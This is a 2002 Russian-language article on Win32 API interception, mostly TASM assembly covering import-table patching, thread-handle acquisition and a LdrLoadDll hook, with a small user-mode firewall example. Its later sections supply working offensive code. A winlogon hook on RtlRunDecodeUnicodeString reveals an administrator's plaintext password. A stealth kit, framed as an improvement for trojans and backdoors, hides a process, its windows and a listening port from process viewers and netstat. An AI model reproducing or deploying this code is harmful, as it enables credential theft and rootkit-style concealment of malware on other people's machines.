myNtCreateThread proc lpThreadHandle,DesiredAccess,\ lpObjectAttributes,ProcessHandle,lpClientId,\ lpInitialContext,lpUserStackDescriptor,\ CreateSuspended mov eax,pbi2 and [eax.UniqueProcessId],0 call NtQueryInformationProcess,ProcessHandle,\ ProcessBasicInformation,eax,pbisize,NULL push eax call [realNtCreateThread],lpThreadHandle,\ DesiredAccess,lpObjectAttributes,\ ProcessHandle,lpClientId,lpInitialContext,\ lpUserStackDescriptor,CreateSuspended pop ecx pop eax or ecx,ecx jl nctexit test eax,eax jl nctexit cmp CreateSuspended,FALSE je nctexit mov eax,pbi cmp [eax.UniqueProcessId],0 jne nctexit mov eax,pbi2 call NtQueryInformationProcess,ProcessHandle,\ ProcessBasicInformation,eax,pbisize,NULL nctexit: pop eax ret myNtCreateThread endp myCsrClientCallServer proc lpStruc,Par1,dwCommand,StrucSize call [realCsrClientCallServer],lpStruc,Par1,\ dwCommand,StrucSize cmp dwCommand,10000h jne cccsexit mov edx,lpStruc cmp dword ptr [edx+20h], 0 jl cccsexit mov eax,pbi2 mov ecx,[eax.UniqueProcessId] jecxz cccsexit pushad ... ;установка обработчиков popad cccsexit: ret myCsrClientCallServer endpПри использовании метода исправления таблиц импорта в w9x можно поступить аналогичным образом, перехватив kernel32!GetStartupInfoA.
При использовании сплайсинга модулей выше 2Gb проблема решается сама собой: эта память проецируется на все контексты, следовательно, вызовы функций из любого процесса будут перехвачены.Рассмотрим метод изменения таблицы импорта модуля с целью перехвата импортируемых им функций.
При инициализации библиотеки (вызове DllMain с причиной DLL_PROCESS_ATTACH), как было оговорено ранее, происходит исполнение кода-инсталлятора обработчиков. Конечной его целью является замещение всех входов таблицы импорта модуля, содержащих адреса перехватываемых функций, на адреса соответствующих обработчиков. Если необходимо перехватывать функции из всех модулей процесса, то эти действия будут выполняться "не моментально". Возникает проблема синхронизации: в момент перебора модулей процесса обработанные модули будут содержать одни адреса перехватываемых функций, а необработанные - другие. Это может сказаться на логике выполнения процесса.
Чтобы избежать этого, необходимо приостанавливать потоки перед манипуляциями с таблицами импортов, а после их завершения вновь "запускать" потоки. Существуют документированные функции kernel32 SuspendThread(HANDLE hThread) и ResumeThread(HANDLE hThread), позволяющие приостанавливать и запускать потоки (вернее, их код в user-mode). Эти функции оперируют со счетчиком остановок потока (suspend count). Функция SuspendThread инкрементирует этот счетчик. Если его значение больше нуля, то поток остановлен, если значение превышает допустимое (MAXIMUM_SUSPEND_COUNT) - SuspendThread возвращает ошибку (ERROR_SIGNAL_REFUSED) и инкрементирование не производится. ResumeThread декрементирует счетчик остановок; если он достиг нуля, поток вновь становится планируемым. Для работы обоих функций необходим описатель (handle) потока, открытый с флагом THREAD_SUSPEND_RESUME.
Проблема состоит в том, что документированный API Win32 предоставляет описатель потока только в нескольких случаях: при создании потока функцией kernel32!CreateThread, при отладке процесса как сообщение отладчику (возвращается при старте отладки или после создания потока отлаживаемым приложением через kernel32!WaitForDebugEvent), после дуплицирования имеющегося описателя и при вызове GetCurrentThread.
Первый случай, как и третий, очевидно, неприемлемы, так как с их помощью нельзя узнать описатель уже работающего потока (не имея какого- либо его описателя в третьем случае). Второй имеет серьезный недостаток: процесс должен адекватно реагировать на отладочные сообщения, посылаемые системой для каждого отлаживаемого процесса, и при его завершении все отлаживаемые процессы уничтожатся (правда, в Windows XP этого можно избежать). Четвертый дает псевдо-описатель потока-вызывателя.
Несмотря на это, все Win32 системы позволяют перечислять все идентификаторы потоков (аналогично идентификаторам процессов). Это несколько странно, так как по SDK "The Win32 API does not provide a way to get the thread handle from the thread identifier". В SDK предлагается использовать идентификаторы потоков для составления запросов процессу-создателю потока с целью получения описателя. По SDK, если процесс не поддерживает удаленное манипулирование его потоками, то идентификатор потока вообще теряет смысл.
И все-таки во всех Win32 системах существует способ получения описателя потока по его идентификатору. Достаточным условием получения описателя потока с флагом THREAD_SUSPEND_RESUME является возможность открыть процесс с флагом PROCESS_ALL_ACCESS.2.6.1. Получение описателя потока по его идентификатору в Windows 9X
При внимательном изучении кода функции OpenProcess выясняется, что она сводится к более мощной функции, в качестве параметров к которой передаются флаги, флаг вложенности и некоторое значение, полученное из идентификатора процесса путем операции XOR его с неким двойным словом. Результатом этой операции является адрес структуры, описывающей процесс (Process Data Block).
Далее идет проверка - описывает ли структура по адресу, полученному от указателя, процесс. Если это не процесс, то происходит выход из OpenProcess. Поэтому возникает подозрение, что идентификаторы потока и процесса мало чем различаются по своей сущности.
Действительно, операция XOR идентификатора потока с "непонятным" двойным словом дает адрес TDB, - таким образом, для перевода идентификатора потока в его описатель достаточно "вручную" производить XOR идентификатора потока с тем двойным словом, помещать результат в eax и вызывать [OpenProcess+24h]. Из листинга OpenProcess видно, что [OpenProcess+24] (2) - "OpenThread" - читает аргументы прямо из стека (адресует их по esp). Так как код OpenProcess не изменился от Win95 к Win98, то смещение сохранится для обоих систем.Код (Text):
OpenProcess proc near dwFlags = dword ptr 4 inheritance = dword ptr 8 pid = dword ptr 0Ch push [esp+pid] call xorbyobsfucator test eax, eax jnz short pidconverted xor eax, eax jmp short bad_exit pidconverted:cmp byte ptr [eax], 6 ; (1) jz short OpenThread push 57h call sub_BFF7C991 mov ecx, 0FFFFFFFFh jmp short loc_BFF95CA1 OpenThread: mov ecx, 0 ; (2) mov edx, [esp+dwFlags] cmp [esp+inheritance], 1 adc ecx, 0FFFFFFFFh and edx, 1F0FFFh and ecx, 80000000h or ecx, edx mov edx, dword_BFFC9CDC push ecx push eax push dword ptr [edx] call SomePowerfulFunction ...Остается только узнать тот "magic dword", который используется для получения адреса PDB. Это можно сделать несколькими способами. Самый безопасный и быстрый - это воспользоваться известным для текущего процесса PDB, адрес которого находится по адресу fs:[30h]. Нужно использовать XOR на нем и значении, возвращаемом GetCurrentProcessId. Тогда возможный код функции w9x_OpenThread будет выглядеть следующим образом (предполагается использование TASM в качестве компилятора, так как ниже производится чтение адреса OpenProcess из таблицы прыжков (jump table), генерируемую TASM по умолчанию; MASM генерирует код другого характера - вызовы функций API производятся путем выполнения call [x], где x - адрес входа требуемой функции в таблице импорта модуля):
Код (Text):
w9x_OpenThread proc flags,inheritance,tid:dword local w9xopenthread:dword pushad call GetCurrentProcessId xor eax,fs:30h mov ebx,eax lea esi,OpenProcess+2 ; jmp far [xxxx] lodsd ; xxxx xchg eax,esi lodsd ; [xxxx]=KERNEL32!OpenProcess lea esi,[eax+24h] lodsd ; [OpenProcess+24h] mov edi,esi cmp eax,0b9h ; mov ecx,dword ptr 0 jnz bad_exit sub edi,4 mov w9xopenthread,edi xor ebx,tid lea esi,[ebx+2] call IsBadWritePtr,esi,2 or eax,eax jnz bad_exit xchg eax,ebx mov eax,w9xopenthread call eax,flags,inheritance,tid mov [esp.Pushad_eax],eax popad ret bad_exit: popad call SetLastError,ERROR_ACCESS_DENIED xor eax,eax ret w9x_OpenThread endp2.6.2. Получение описателя потока по его идентификатору в Windows NT
В Windows NT (начиная с версии 3.51) присутствует недокументированная функция ntdll!NtOpenThread, позволяющая получать описатель потока по идентификатору процесса - хозяина и идентификатору самого потока. Функция проверяет привилегии потока, вызвавшего ее, так что она не угрожает стабильности системы. Код функции находится целиком в ntoskrnl.exe, располагающейся выше 2Gb и исполняющейся в kernel mode, поэтому обычный процесс не может изменить логику выполнения этой функции. Ее прототип несколько нестандартен для WINAPI (это переходник на сервис ntoskrnl.exe, следовательно, прототип - NTKERNELAPI):
Код (Text):
NTKERNELAPI NTSTATUS NtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL );где
Код (Text):
DWORD ClientId[2]; ClientId[0] = TargetPID; ClientId[1] = TargetTID;Струтура Object_Attributes должна располагаться в памяти по адресу, выравненному на 1000h. В противном случае функция возвратит ошибку - STATUS_DATATYPE_MISALIGNMENT. Для выделения памяти с начальным адресом, удовлетворяющим такому условию, можно воспользоваться стандартной функцией kernel32!VirtualAlloc.
Отличительной чертой этой функции от ее аналога в w9x является необходимость указания идентификатора процесса - хозяина интересующего нас потока, но в большинстве случаев использования этой функции требуется полностью приостановить работу какого-либо процесса (может, за исключением какого-то потока), а при перечислении потоков требуется знать идентификатор процесса, так что указанная особенность не становится большим препятствием в использовании NtOpenThread. Дополнительный код придется писать лишь в том случае, когда необходимо получить описатель потока без начальных данных о его принадлежности. Эту информацию можно получить с помощью NtQuerySystemInformation.
Возможный код функции nt_OpenThread может выгладеть так:Код (Text):
nt_OpenThread proc flags,inheritance,tid,pid:DWORD local thandle:DWORD local pntot:dword local _tid:dword local _pid:dword mov eax,tid mov _tid,eax mov eax,pid mov _pid,eax call GetModuleHandleA,offset ntdll call GetProcAddress,eax,offset ntopenthread or eax,eax jz baderror mov pntot,eax call VirtualAlloc,0,100,1000h,40h mov ebx,eax xchg eax,edi push 18h pop eax stosd xor eax,eax push 5 pop ecx rep stosd lea ecx,thandle lea edx,_pid and dword ptr [ecx],0 call [pntot],ecx,1f0000h,ebx,edx mov eax,thandle call VirtualFree,ebx,0,8000h,eax call GetCurrentProcess pop ebx lea ecx,thandle and dword ptr [ecx],0 call DuplicateHandle,eax,ebx,eax,\ ecx,1f0fffh,inheritance,\ DUPLICATE_CLOSE_SOURCE mov eax,thandle ret baderror: xor eax,eax ret nt_OpenThread endp2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP
В kernel32 этих операционных систем присутствует документированная функция OpenThread, использование которой делает задачу тривиальной. Синтаксис функции таков (он практически дублирует синтаксис OpenProcess):
Код (Text):
HANDLE OpenThread( DWORD dwDesiredAccess, // access right BOOL bInheritHandle, // handle inheritance option DWORD dwThreadId // thread identifier );3. Приложения. Примеры обработчиков
Примеры обработчиков перехваченных функций методом сплайсинга обсуждались в соответствующей главе; рассмотрим более подробно обработчики, внедренные путем исправления таблицы импорта.
Любой глобальный обработчик какой-либо функции под NT должен позаботиться о распространении себя на все модули всех процессов, поэтому необходимо перехватывать функцию загрузки нового модуля, чтобы применять перехваты к свежесозданным модулям. Ранее отмечалось, что подобной функцией должна быть ntdll!LdrLoadDll. Ниже приведен простейший ее обработчик:
Код (Text):
myLdrLoadDll proc pSearchPath:dword,something:dword,\ pUniStrDllName:dword,pImageBase call [realLdrLoadDll],pSearchPath,something,\ pUniStrDllName,pImageBase mov eax,pImageBase call hookmodule,dword ptr [eax] ret myLdrLoadDll endpОднако такой метод перехвата LdrLoadDll слишком наивен: после вызова настоящей функции и до возвращения управления к нашему обработчику произойдет вызов найденной в проинициализированном модуле точки входда (DllEntry) с причиной DLL_PROCESS_ATTACH. Код, находящийся в DllEntry, может определить адреса требуемых функций с помощью неперехваченного GetProcAddress (который, естественно, возвратит истинные значения адресов), так как адрес самого GetProcAddress в таблице импорта будет заполнен загрузчиком PE - наш обработчик LdrLoadDll еще "не успеет" изменить его.
При изучении LdrLoadDll оказывается, что она сводится к другой функции, которая и производит чтения параметров и соответствующие вызовы ядра. И в NT, и в w2k дополнительным параметром является булевская переменная - исполнять или нет цепочку DllMain. Вызовем функцию LdrLoadDll "не с начала", а после того, как положим в стек 0 - FALSE (а не 1 - TRUE). Таким образом, после завершения LdrLoadDll и соответствующего исправления таблиц импорта нам останется лишь вызвать DllMain всех вновь появившихся модулей с причиной DLL_PROCESS_ATTACH.Код (Text):
myLdrLoadDll proc pSearchPath:dword, Something:dword,\ pUniStrDllName:dword, pImageBase:dword push pSearchPath,Something,pUniStrDllName,pImageBase push offset theend push eax call LdrGetDllHandle,TRUE,0,pUniStrDllName,esp test eax,eax ; был ли модуль загружен ; ранее? pop ecx mov eax,realLdrLoadDll jnl normalcall ; в NT4 LdrLoadDll ; начинается командами ; push ebp | mov ebp,esp | ; push byte checkNT4: xor ecx,ecx cmp dword ptr [eax],6AEC8B55h jne checkw2k ; для изменения адреса возврата изменим стек сами push ebp mov ebp,esp add eax,3 mov cl,4 jmp specialcall ; w2k LdrLoadDll начинается командой push 1 checkw2k: cmp word ptr [eax],016Ah jne normalcall ;возвратимся в analyze specialcall: mov [esp+ecx],offset analyze push FALSE ; запретим вызов ; DllMain'ов inc eax inc eax normalcall: jmp eax analyze: push eax ; сохраним код возврата push edi sub esp,80h*4 mov eax,fs:18h mov eax,[eax+30h] ; PEB mov ecx,[eax+_PEB.Ldr] ; начало описателя модулей ; процесса xor edx,edx add ecx,_PEB_LDR_DATA.\ InInitializationOrderModuleList.Flink mov eax,[ecx] mov edi,esp jmp first0 nextentry: mov eax,[eax+LDR_MODULE.\ LM_InInitializationOrderModuleList.Flink] first0: cmp eax,ecx ; последний элемент ; списка ссылается на первый je allentries ; выберем среди модулей процесса непроинициалированные, ; пометим их как инициализированные и сохраним их DllMain для ; инициализации and [eax.LM_Flags],NOT LOAD_IN_PROGRESS test [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED jne nextentry or [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED cmp [eax.LM_EntryPoint],edx je nextentry stosd jmp nextentry allentries: and [edi],edx mov edi,esp initloop: mov eax,[edi] test eax,eax je initdone add edi,4 ; изменим импорт у модуля call hookmodule,[eax.LM_BaseAddress] ; сделаем DLL_PROCESS_ATTACH сами push eax mov ecx,[eax.LM_EntryPoint] or ecx,ecx jz skipcalldllmain call ecx,[eax.LM_BaseAddress],DLL_PROCESS_ATTACH,NULL skipcalldllmain: mov ecx,eax pop eax or [eax.LM_Flags],ALLOW_DLL_PROCESS_DETACH or ecx,ecx jne initloop ; DllMain возвратил ошибку - выгрузим модуль и исправим код выхода mov dword ptr [esp+80h*4+4],\ STATUS_DLL_INIT_FAILED call [realLdrUnloadDll],[eax.LM_BaseAddress] initdone: add esp,80h*4 pop edi pop eax theend: ret myLdrLoadDll endpWindows NT и Windows 2000 всех SP содержат "уязвимость" следующего рода: обе эти ОС после логона содержат пароль текущего пользователя, "зашифрованный" операцией XOR с ключом в 1 байт (!), и при разблокировании станции происходит дешифрование пароля и сравнивание двух строк на совпадение. Если строки не совпадают, станция не разблокировывается. В защиту Microsoft говорит только тот факт, что код, дешифрующий пароль, выполняется в контексте winlogon, то есть для его изменения либо перехвата необходима привилегия SeDebugPrivilege, которая включена в большинстве случаев только у администраторов. Однако, если администратор отлучился и оставил машину незаблокированной, то, запустив программу под правами администратора, можно узнать его пароль в чистом виде.
Дешифрование пароля производится функцией RtlRunDecodeUnicodeString. Вот пример ее перехватчика: при вызове данной функции он показывает на экран сообщение со строчкой, которая только что расшифровалась.Код (Text):
myRtlRunDecodeUnicodeString proc key:dword,unistring:dword local decodebuff:dword local dummy:dword push ebx mov ebx,unistring add ebx,4 call IsBadReadPtr,ebx,1 or eax,eax jnz justcall mov ebx,[ebx] mov decodebuff,ebx justcall: pop ebx call [realRtlRunDecodeUnicodeString],key,unistring or eax,eax jz notme call lstrcpyW,offset somebuff,decodebuff call CreateThread,NULL,NULL,offset msgboxthrd,\ offset somebuff,NORMAL_PRIORITY_CLASS,\ offset dummy call CloseHandle,eax notme: ret myRtlRunDecodeUnicodeString endpПри столь большой распространенности всяческих троянов, бэкдоров и т.п. программ, чье написание подпадает под ст. 272-274 УКРФ, становится непонятно, почему так редко среди них встречаются по-настоящему самомаскирующиеся программы. Большинство из них завершает свой маскировочный процесс на вызовах
Код (Text):
ShowWindow(mainwindow.handle,SW_HIDE); _rsp RSP=GetProcAddress(GetModuleHandle("kernel32.dll"), "RegisterServiceProcess"); if (RSP) RSP(GetCurrentProcessId(),1);Этот код защищает только от нажатия ctrl-alt-del в w9x и ME. Любой просмотрщик процессов и окон немедленно обнаружит такой процесс. Чтобы этого не случилось, в winNT требуется перехватить NtQuerySystemInformation для "процессной" невидимости и EnumWindows, EnumThreadWindows, EnumChildWindows для "оконной". Также, желательно было бы спрятать нечто "слушающее" на каком-либо TCP/UDP порту от команд типа "netstat -a". Все вышеперечисленное осуществляет код:
Код (Text):
MyNtQuerySystemInformation proc SystemInformationClass,\ SystemInformation,Length, ResultLength uses ebx esi call dword ptr [realNtQuerySystemInformation], SystemInformationClass,SystemInformation,\ Length,ResultLength or eax,eax jl theend cmp SystemInformationClass,SystemProcessInformation jne theend onceagain: mov esi,SystemInformation getnextpidstruct: mov ebx,esi cmp dword ptr [esi],0 je theend add esi,[esi] mov ecx,[esi+44h] pushad ; определим PID - "невидимку" call FindWindowA,offset wnd2hide,0 call GetWindowThreadProcessId,eax,offset mypid popad cmp ecx,mypid jne getnextpidstruct mov edx,[esi] test edx,edx je fillzero add [ebx],edx ; "перебросим" указатель ; следующей записи через себя: ; тем самым в результате прохода ; по этой структуре информация ; о нас не обнаружится jmp onceagain fillzero: and [ebx],edx jmp onceagain theend: ret myNtQuerySystemInformation endp myEnumWindows proc enumproc:dword,enumparam:dword cmp oldenumproc,0 je iambusy call [realEnumWindows],enumproc,enumparam ret iambusy: push enumproc pop oldenumproc call [realEnumWindows],offset mylenum,enumparam and oldenumproc,0 ret myEnumWindows endp myenum proc enumhwnd:dword,b:dword call FindWindowA,offset wnd2hide,0 or eax,eax je calloldenumproc cmp eax,enumhwnd ; это наше окно? mov eax,1 je skipoldenumproc ; да, пропустим вызов ; коллбэка calloldenumproc: call [oldenumproc],enumhwnd,b skipoldenumproc: ret myenum endp myEnumChildWindows proc parentwnd:dword,enumproc_ecw:dword,\ enumparam_ecw:dword cmp oldecwproc,0 je iambusy_ecw call [realEnumChildWindows],parentwnd,enumproc_ecw,\ enumparam_ecw ret iambusy_ecw: call FindWindowA,offset wnd2hide,0 or eax,eax jz iamnotrunning cmp eax,parentwnd je foolecw iamnotrunning: push enumproc_ecw pop oldecwproc call [realEnumChildWindows],parentwnd,\ offset myenum_ecw,enumparam_ecw and oldecwproc,0 ret foolecw: xor eax,eax ret myEnumChildWindows endp myenum_ecw proc enumhwnd_ecw:dword,b_ecw:dword call FindWindowA,offset wnd2hide,0 or eax,eax je calloldecwproc cmp eax,enumhwnd_ecw mov eax,1 je skipoldecwproc calloldecwproc: call [oldecwproc],enumhwnd_ecw,b_ecw skipoldecwproc: ret myenum_ecw endp myEnumThreadWindows proc tid2examine:dword,etwcallback:dword,\ etwparam:dword call FindWindowA,offset wnd2hide,0 call GetWindowThreadProcessId,eax,0 cmp eax,tid2examine jz fooletw ; если наш поток, то ; выдать ошибку call [realEnumThreadWindows],tid2examine,etwcallback,\ etwparam ret fooletw: xor eax,eax ret myEnumThreadWindows endp mySnmpExtensionInit proc currtime,hTrapEvent,hIdentifier:dword and recordnum,0 mov currtrap,offset trapbuff call [realSnmpExtensionInit],currtime,hTrapEvent,hIdentifier ret mySnmpExtensionInit endp mySnmpExtensionQuery proc callmode,bindList,\ errorStatus,errorIndex:dword call [realSnmpExtensionQuery],callmode,bindList,\ errorStatus,errorIndex pushad or eax,eax jz skipit cmp callmode,ASN_RFC1157_GETNEXTREQUEST jne skipit mov eax,bindList mov eax,[eax.list] cmp [eax.name.idLength],0ah jb skipit mov bindEntry,eax mov eax,[eax.name.ids] mov eax,[eax+9*4] cmp eax,4 jnz check4localport cmp recordnum,0 jz already0 and recordnum,0 and search4trap,0 already0: inc search4trap mov ecx,search4trap lea esi,trapbuff tryalltraps: lodsd cmp esi,currtrap ; это метка на ; изменение? ja trapwalkdone cmp eax,ecx jnz tryalltraps mov ebx,bindEntry ; спрятать адрес ; эндпоинта mov ebx,[ebx.value.asnValue.address.stream] and dword ptr [ebx],0 trapwalkdone:jmp skipit check4localport: cmp eax,3 jnz skipit inc recordnum recordscounted: mov ebx,bindEntry mov eax,[ebx.value.asnValue.number] cmp eax,PORT2HIDE ; это наш порт? jnz skipit ; да, показать ; пользователю то, ; что он хочет увидеть mov [ebx.value.asnValue.number],PORT2SHOW mov eax,currtrap add currtrap,4 push recordnum pop dword ptr [eax] ; сохранить номер ; записи для ; последующих вызовов, ; чтобы перехватить ; выдачу нашего IP skipit: popad ret mySnmpExtensionQuery endpНиже приведен пример простейшего исходящего TCP-файрвола пользовательского режима. Он может работать с привилегиями гостя - глобализатор распространит обработчик ws2_32!connect только на те процессы, описатели которых он сможет получить при выполнении OpenProcess с параметрами PROCESS_ALL_ACCESS.
Код (Text):
myconnect proc a:dword,b:dword,c:dword pushad call GetModuleFileNameA,0,offset modnamebuff,MAX_PATH mov eax,b mov esi,[eax+4] movzx ebx,word ptr [eax+2] xchg bl,bh call inet_ntoa,esi call wsprintfA,offset bigbuff,offset badprogram,\ offset modnamebuff,eax,ebx add esp,5*4 call MessageBoxA,0,offset bigbuff,\ offset warn,MB_YESNO+MB_ICONWARNING cmp eax,6 jz good_program call WSASetLastError,WSAEADDRNOTAVAIL popad xor eax,eax dec eax jmp _ret good_program:popad call [realconnect],a,b,c _ret: ret myconnect endpИсточники
© 90210 / HI-TECH
- Radim "EliCZ" Picha - www.EliCZ.cjb.net.
- LUEVELSMEYER. "The PE file format".
- Jeffrey Richter. "Programming Applications for Microsoft Windows". ISBN 1-57231-996-8.
- Jacky Qwerty. Win32.Cabanas (вирус).
- Vecna - технология записи выше 2Gb в w9x.
Система перехвата функций API платформы Win32
Дата публикации 20 авг 2002